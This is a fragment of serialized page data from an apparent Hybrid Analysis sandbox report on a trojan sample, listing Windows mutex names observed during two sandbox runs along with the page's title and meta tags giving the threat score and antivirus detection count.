Sessions\\1\\BaseNamedObjects\\SM0:5220:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5220:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Local\\SM0:5220:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"Local\\SM0:5220:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"SM0:5220:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7184:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"SM0:7184:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"Local\\SM0:7184:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"Local\\SM0:7184:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"SM0:7184:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7184:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7184:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7184:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"SM0:1628:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"Local\\SM0:1628:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1628:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1628:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4852:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4852:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Local\\SM0:4852:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"SM0:4852:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4944:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4944:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_idx.db!rwWriterMutex","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_16.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_32.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_48.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_96.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_256.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_768.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_1280.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_1920.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_2560.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_sr.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_wide.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_exif.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_wide_alternate.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_custom_stream.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_idx.db!IconCacheInit","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\BaseNamedObjects\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_idx.db!rwReaderRefs","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\BaseNamedObjects\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_idx.db!0af988","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\BaseNamedObjects\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_idx.db!0a2538","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4944:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_wide_alternate.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Local\\SM0:4944:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_sr.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_768.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_idx.db!IconCacheInit","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_2560.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_16.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_96.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_exif.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"SM0:4944:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_custom_stream.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Local\\SM0:4944:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_idx.db!rwWriterMutex","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_32.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_256.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_48.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_1920.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_1280.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Global\\C::Users:%OSUSER%:AppData:Local:Microsoft:Windows:Explorer:iconcache_wide.db!dfMaintainer","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4600:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4600:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:4600:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Local\\SM0:4600:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"SM0:4600:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Local\\SM0:4600:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"SM0:4600:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4600:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Local\\SM0:6444:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"SM0:6444:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6444:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6444:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}]}},"report_ids":{"sandbox_job_ids":["699ec5df79a602c04d0f8f22","685ae69ef0d92c28240679f4"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious QD:Trojan.GenericQ Sample a1720d68eef7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample a1720d68eef7…. Malware family: QD:Trojan.GenericQ. Threat score 100/100. 8/27 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c"}],["$","meta","4",{"property":"og:title","content":"Malicious QD:Trojan.GenericQ Sample a1720d68eef7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample a1720d68eef7…. Malware family: QD:Trojan.GenericQ. Threat score 100/100. 8/27 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious QD:Trojan.GenericQ Sample a1720d68eef7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample a1720d68eef7…. Malware family: QD:Trojan.GenericQ. Threat score 100/100. 8/27 AV engines flagged this file. 10 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$Lad","11",{}]]